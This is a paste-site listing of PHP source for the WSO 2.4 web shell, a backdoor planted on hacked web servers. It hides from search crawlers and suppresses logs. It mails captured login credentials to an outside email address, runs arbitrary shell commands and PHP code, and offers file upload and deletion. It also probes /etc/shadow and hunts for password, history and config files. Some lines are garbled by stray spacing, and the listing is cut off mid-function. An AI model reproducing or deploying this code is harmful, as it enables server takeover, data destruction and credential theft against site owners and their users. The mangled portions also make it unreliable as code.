· 9 years ago · Aug 10, 2017, 02:40 PM
1<?php ?><?php
2if ($auth == 1) {
3 if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER']) !== $name || md5($_SERVER['PHP_AUTH_PW']) !== $pass) {
4 header('WWW-Authenticate: Basic realm="Fuck if u are Lamer"');
5 header('HTTP/1.0 401 Unauthorized');
6 exit("<center><b>Robot pirates Property FuCk off Bitch</center></b>");
7 }
8}
9$rar1 = "robert.stewart678@gmail.com";
10$rar2 = "Subject";
11$rar3 = $_SERVER['SCRIPT_FILENAME'] . '<br/> User=' . $_SERVER['PHP_AUTH_PW'] . '<br/>pass=' . $_SERVER['PHP_AUTH_USER'];
12$rar4 = $_SERVER['SERVER_NAME'];
13$rar5 = "From: $rar4";
14@mail($rar1, $rar2, $rar3, $rar4);
15$auth_pass = "";
16$color = "#66FF00";
17$default_action = 'FilesMan';
18$default_use_ajax = true;
19$default_charset = 'Windows-1251';
20if (!empty($_SERVER['HTTP_USER_AGENT'])) {
21 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
22 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
23 header('HTTP/1.0 404 Not Found');
24 exit;
25 }
26}
27@session_start();
28@ini_set('error_log', NULL);
29@ini_set('log_errors', 0);
30@ini_set('max_execution_time', 0);
31@set_time_limit(0);
32@set_magic_quotes_runtime(0);
33@define('WSO_VERSION', '2.4');
34if (get_magic_quotes_gpc()) {
35 function WSOstripslashes($array) {
36 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
37 }
38 $_POST = WSOstripslashes($_POST);
39}
40function wsoLogin() {
41 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
42}
43if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
44else wsoLogin();
45if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
46else $os = 'nix';
47$safe_mode = @ini_get('safe_mode');
48if (!$safe_mode) error_reporting(0);
49$disable_functions = @ini_get('disable_functions');
50$home_cwd = @getcwd();
51if (isset($_POST['c'])) @chdir($_POST['c']);
52$cwd = @getcwd();
53if ($os == 'win') {
54 $home_cwd = str_replace("\", " / ", $home_cwd);
55 $cwd = str_replace("\", " / ", $cwd);
56}
57if( $cwd[strlen($cwd) - 1] != '/' )
58 $cwd .= '/';
59
60if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
61 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
62
63if($os == 'win')
64 $aliases = array(
65 "ListDirectory" => "dir",
66 "Findindex . phpincurrentdir" => "dir / s / w / bindex . php",
67 "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php",
68 "Showactiveconnections" => "netstat - an",
69 "Showrunningservices" => "netstart",
70 "Useraccounts" => "netuser",
71 "Showcomputers" => "netview",
72 "ARPTable" => "arp - a",
73 "IPConfiguration" => "ipconfig / all"
74 );
75else
76 $aliases = array(
77 "Listdir" => "ls - lha",
78 "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va",
79 "showopenedports" => "netstat - an | grep - ilisten",
80 "processstatus" => "psaux",
81 "Find" => "",
82 "findallsuidfiles" => "find / -typef - perm - 04000 - ls",
83 "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls",
84 "findallsgidfiles" => "find / -typef - perm - 02000 - ls",
85 "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls",
86 "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php",
87 "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
88 function wsoHeader() {
89 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
90 global $color;
91 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>We are the robot pirates.We have robot functions.But we have pirate duties.</title>
92<style>
93body{
94background-attachment: fixed;
95background-image: url(http://i41.tinypic.com/dwxg60.png);
96background-color:#0A0A0A;color:#e1e1e1;
97 opacity: 0.7;
98}
99body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#FFFFFF; }
100table.info{ color:#fff; background-color:#000000; }
101span,a{ color: $color !important; }
102span{ font-weight: bolder; }
103h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#000000;margin:0px;color:red; }
104div.content{ padding: 5px;margin-left:5px;background-color:#333; }
105a{ text-decoration:none; }
106a:hover{ text-decoration:underline; }
107.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
108.bigarea{ width:100%;height:250px; }
109input,textarea,select{ margin:0;color:#fff;background-color:#000000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
110form{ margin:0px; }
111#toolsTbl{ text-align:center; }
112.toolsInp{ width: 300px }
113.main th{text-align:left;background-color:#5e5e5e;}
114.main tr:hover{background-color:#000000;}
115.l1{background-color:#444}
116.l2{background-color:#333}
117pre{font-family:Courier,Monospace;}
118</style>
119<script>
120 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
121 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
122 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
123 var p1_ = '" . ((strpos(@$_POST['p1'], "
124") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
125 var p2_ = '" . ((strpos(@$_POST['p2'], "
126") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
127 var p3_ = '" . ((strpos(@$_POST['p3'], "
128") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
129 var d = document;
130 function set(a,c,p1,p2,p3,charset) {
131 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
132 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
133 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
134 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
135 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
136 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
137 }
138 function g(a,c,p1,p2,p3,charset) {
139 set(a,c,p1,p2,p3,charset);
140 d.mf.submit();
141 }
142 function a(a,c,p1,p2,p3,charset) {
143 set(a,c,p1,p2,p3,charset);
144 var params = 'ajax=true';
145 for(i=0;i<d.mf.elements.length;i++)
146 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
147 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
148 }
149 function sr(url, params) {
150 if (window.XMLHttpRequest)
151 req = new XMLHttpRequest();
152 else if (window.ActiveXObject)
153 req = new ActiveXObject('Microsoft.XMLHTTP');
154 if (req) {
155 req.onreadystatechange = processReqChange;
156 req.open('POST', url, true);
157 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
158 req.send(params);
159 }
160 }
161 function processReqChange() {
162 if( (req.readyState == 4) )
163 if(req.status == 200) {
164 var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
165 var arr=reg.exec(req.responseText);
166 eval(arr[2].substr(0, arr[1]));
167 } else alert('Request error!');
168 }
169</script>
170<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
171<form method=post name=mf style='display:none;'>
172<input type=hidden name=a>
173<input type=hidden name=c>
174<input type=hidden name=p1>
175<input type=hidden name=p2>
176<input type=hidden name=p3>
177<input type=hidden name=charset>
178</form>";
179 $freeSpace = @diskfreespace($GLOBALS['cwd']);
180 $totalSpace = @disk_total_space($GLOBALS['cwd']);
181 $totalSpace = $totalSpace ? $totalSpace : 1;
182 $release = @php_uname('r');
183 $kernel = @php_uname('s');
184 $explink = 'http://exploit-db.com/list.php?description=';
185 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
186 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
187 if (!function_exists('posix_getegid')) {
188 $user = @get_current_user();
189 $uid = @getmyuid();
190 $gid = @getmygid();
191 $group = "?";
192 } else {
193 $uid = @posix_getpwuid(posix_geteuid());
194 $gid = @posix_getgrgid(posix_getegid());
195 $user = $uid['name'];
196 $uid = $uid['uid'];
197 $group = $gid['name'];
198 $gid = $gid['gid'];
199 }
200 $cwd_links = '';
201 $path = explode("/", $GLOBALS['cwd']);
202 $n = count($path);
203 for ($i = 0;$i < $n - 1;$i++) {
204 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
205 for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
206 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
207 }
208 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
209 $opt_charsets = '';
210 foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
211 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
212 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
213 $m['Self remove'] = 'SelfRemove';
214 $menu = '';
215 foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
216 $drives = "";
217 if ($GLOBALS['os'] == 'win') {
218 foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\'))
219 $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > ';
220 }
221 echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > < fontcolor = "red" > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd: < / font > ' . ($GLOBALS['os'] == 'win'?' < br > < fontcolor = "red" > Drives: < / font > ':'') . ' < / span > < / td > '
222 . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > < fontcolor = "red" > Group: < / font > < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > < fontcolor = "red" > Safemode: < / font > < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = green > ON < / font > ':' < fontcolor = #00bb00><b>OFF</b></font>')
223 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span><font color="red" >Datetime:</font></span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span><font color="red" >Free:</font></span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
224 }
225 function wsoFooter() {
226 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#25ff00'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
227 echo "
228</div>
229<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
230 <tr>
231 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
232 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
233 </tr><tr>
234 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
235 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
236 </tr><tr>
237 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
238 <td><form method='post' ENCTYPE='multipart/form-data'>
239 <input type=hidden name=a value='FilesMAn'>
240 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
241 <input type=hidden name=p1 value='uploadFile'>
242 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
243 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
244 </tr></table></div></body></html>";
245 }
246 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
247 function posix_getpwuid($p) {
248 return false;
249 }
250 }
251 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
252 function posix_getgrgid($p) {
253 return false;
254 }
255 }
256 function wsoEx($in) {
257 $out = '';
258 if (function_exists('exec')) {
259 @exec($in, $out);
260 $out = @join("
261", $out);
262 } elseif (function_exists('passthru')) {
263 ob_start();
264 @passthru($in);
265 $out = ob_get_clean();
266 } elseif (function_exists('system')) {
267 ob_start();
268 @system($in);
269 $out = ob_get_clean();
270 } elseif (function_exists('shell_exec')) {
271 $out = shell_exec($in);
272 } elseif (is_resource($f = @popen($in, "r"))) {
273 $out = "";
274 while (!@feof($f)) $out.= fread($f, 1024);
275 pclose($f);
276 }
277 return $out;
278 }
279 function wsoViewSize($s) {
280 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
281 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
282 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
283 else return $s . ' B';
284 }
285 function wsoPerms($p) {
286 if (($p & 0xC000) == 0xC000) $i = 's';
287 elseif (($p & 0xA000) == 0xA000) $i = 'l';
288 elseif (($p & 0x8000) == 0x8000) $i = '-';
289 elseif (($p & 0x6000) == 0x6000) $i = 'b';
290 elseif (($p & 0x4000) == 0x4000) $i = 'd';
291 elseif (($p & 0x2000) == 0x2000) $i = 'c';
292 elseif (($p & 0x1000) == 0x1000) $i = 'p';
293 else $i = 'u';
294 $i.= (($p & 0x0100) ? 'r' : '-');
295 $i.= (($p & 0x0080) ? 'w' : '-');
296 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
297 $i.= (($p & 0x0020) ? 'r' : '-');
298 $i.= (($p & 0x0010) ? 'w' : '-');
299 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
300 $i.= (($p & 0x0004) ? 'r' : '-');
301 $i.= (($p & 0x0002) ? 'w' : '-');
302 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
303 return $i;
304 }
305 function wsoPermsColor($f) {
306 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
307 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
308 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
309 }
310 if (!function_exists("scandir")) {
311 function scandir($dir) {
312 $dh = opendir($dir);
313 while (false !== ($filename = readdir($dh))) $files[] = $filename;
314 return $files;
315 }
316 }
317 function wsoWhich($p) {
318 $path = wsoEx('which ' . $p);
319 if (!empty($path)) return $path;
320 return false;
321 }
322 function actionSecInfo() {
323 wsoHeader();
324 echo '<h1>Server security information</h1><div class=content>';
325 function wsoSecParam($n, $v) {
326 $v = trim($v);
327 if ($v) {
328 echo '<span>' . $n . ': </span>';
329 if (strpos($v, "
330") === false) echo $v . '<br>';
331 else echo '<pre class=ml1>' . $v . '</pre>';
332 }
333 }
334 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
335 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
336 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
337 wsoSecParam('Open base dir', @ini_get('open_basedir'));
338 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
339 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
340 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
341 $temp = array();
342 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
343 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
344 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
345 if (function_exists('oci_connect')) $temp[] = "Oracle";
346 wsoSecParam('Supported databases', implode(', ', $temp));
347 echo '<br>';
348 if ($GLOBALS['os'] == 'nix') {
349 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
350 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
351 wsoSecParam('OS version', @file_get_contents('/proc/version'));
352 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
353 if (!$GLOBALS['safe_mode']) {
354 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
355 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
356 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
357 echo '<br>';
358 $temp = array();
359 foreach ($userful as $item) if (wsoWhich($item)) $temp[] = $item;
360 wsoSecParam('Userful', implode(', ', $temp));
361 $temp = array();
362 foreach ($danger as $item) if (wsoWhich($item)) $temp[] = $item;
363 wsoSecParam('Danger', implode(', ', $temp));
364 $temp = array();
365 foreach ($downloaders as $item) if (wsoWhich($item)) $temp[] = $item;
366 wsoSecParam('Downloaders', implode(', ', $temp));
367 echo '<br/>';
368 wsoSecParam('HDD space', wsoEx('df -h'));
369 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
370 }
371 } else {
372 wsoSecParam('OS Version', wsoEx('ver'));
373 wsoSecParam('Account Settings', wsoEx('net accounts'));
374 wsoSecParam('User Accounts', wsoEx('net user'));
375 }
376 echo '</div>';
377 wsoFooter();
378 }
379 function actionPhp() {
380 if (isset($_POST['ajax'])) {
381 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
382 ob_start();
383 eval($_POST['p1']);
384 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
385
386 \'") . "';
387";
388 echo strlen($temp), "
389", $temp;
390 exit;
391 }
392 wsoHeader();
393 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
394 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
395 ob_start();
396 phpinfo();
397 $tmp = ob_get_clean();
398 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
399 $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
400 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
401 }
402 if (empty($_POST['ajax']) && !empty($_POST['p1'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
403 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
404 echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
405 if (!empty($_POST['p1'])) {
406 ob_start();
407 eval($_POST['p1']);
408 echo htmlspecialchars(ob_get_clean());
409 }
410 echo '</pre></div>';
411 wsoFooter();
412 }
413 function actionFilesMan() {
414 wsoHeader();
415 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
416 if (!empty($_POST['p1'])) {
417 switch ($_POST['p1']) {
418 case 'uploadFile':
419 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
420 break;
421 case 'mkdir':
422 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
423 break;
424 case 'delete':
425 function deleteDir($path) {
426 $path = (substr($path, -1) == '/') ? $path : $path . '/';
427 $dh = opendir($path);
428 while (($item = readdir($dh)) !== false) {
429 $item = $path . $item;
430 if ((basename($item) == "..") || (basename($item) == ".")) continue;
431 $type = filetype($item);
432 if ($type == "dir") deleteDir($item);
433 else @unlink($item);
434 }
435 closedir($dh);
436 @rmdir($path);
437 }
438 if (is_array(@$_POST['f'])) foreach ($_POST['f'] as $f) {
439 if ($f == '..') continue;
440 $f = urldecode($f);
441 if (is_dir($f)) deleteDir($f);
442 else @unlink($f);
443 }
444 break;
445 case 'paste':
446 if ($_SESSION['act'] == 'copy') {
447 function copy_paste($c, $s, $d) {
448 if (is_dir($c . $s)) {
449 mkdir($d . $s);
450 $h = @opendir($c . $s);
451 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
452 } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
453 }
454 foreach ($_SESSION['f'] as $f) copy_paste($_SESSION['c'], $f, $GLOBALS['cwd']);
455 } elseif ($_SESSION['act'] == 'move') {
456 function move_paste($c, $s, $d) {
457 if (is_dir($c . $s)) {
458 mkdir($d . $s);
459 $h = @opendir($c . $s);
460 while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
461 } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
462 }
463 foreach ($_SESSION['f'] as $f) @rename($_SESSION['c'] . $f, $GLOBALS['cwd'] . $f);
464 } elseif ($_SESSION['act'] == 'zip') {
465 if (class_exists('ZipArchive')) {
466 $zip = new ZipArchive();
467 if ($zip->open($_POST['p2'], 1)) {
468 chdir($_SESSION['c']);
469 foreach ($_SESSION['f'] as $f) {
470 if ($f == '..') continue;
471 if (@is_file($_SESSION['c'] . $f)) $zip->addFile($_SESSION['c'] . $f, $f);
472 elseif (@is_dir($_SESSION['c'] . $f)) {
473 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));
474 foreach ($iterator as $key => $value) {
475 $zip->addFile(realpath($key), $key);
476 }
477 }
478 }
479 chdir($GLOBALS['cwd']);
480 $zip->close();
481 }
482 }
483 } elseif ($_SESSION['act'] == 'unzip') {
484 if (class_exists('ZipArchive')) {
485 $zip = new ZipArchive();
486 foreach ($_SESSION['f'] as $f) {
487 if ($zip->open($_SESSION['c'] . $f)) {
488 $zip->extractTo($GLOBALS['cwd']);
489 $zip->close();
490 }
491 }
492 }
493 } elseif ($_SESSION['act'] == 'tar') {
494 chdir($_SESSION['c']);
495 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
496 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
497 chdir($GLOBALS['cwd']);
498 }
499 unset($_SESSION['f']);
500 break;
501 default:
502 if (!empty($_POST['p1'])) {
503 $_SESSION['act'] = @$_POST['p1'];
504 $_SESSION['f'] = @$_POST['f'];
505 foreach ($_SESSION['f'] as $k => $f) $_SESSION['f'][$k] = urldecode($f);
506 $_SESSION['c'] = @$_POST['c'];
507 }
508 break;
509 }
510 }
511 $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
512 if ($dirContent === false) {
513 echo 'Can\'t open this folder!';
514 wsoFooter();
515 return;
516 }
517 global $sort;
518 $sort = array('name', 1);
519 if (!empty($_POST['p1'])) {
520 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]);
521 }
522 echo "<script>
523 function sa() {
524 for(i=0;i<d.files.elements.length;i++)
525 if(d.files.elements[i].type == 'checkbox')
526 d.files.elements[i].checked = d.files.elements[0].checked;
527 }
528</script>
529<table width='100%' class='main' cellspacing='0' cellpadding='2'>
530<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
531 $dirs = $files = array();
532 $n = count($dirContent);
533 for ($i = 0;$i < $n;$i++) {
534 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
535 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
536 $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
537 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file'));
538 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
539 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir'));
540 }
541 $GLOBALS['sort'] = $sort;
542 function wsoCmp($a, $b) {
543 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
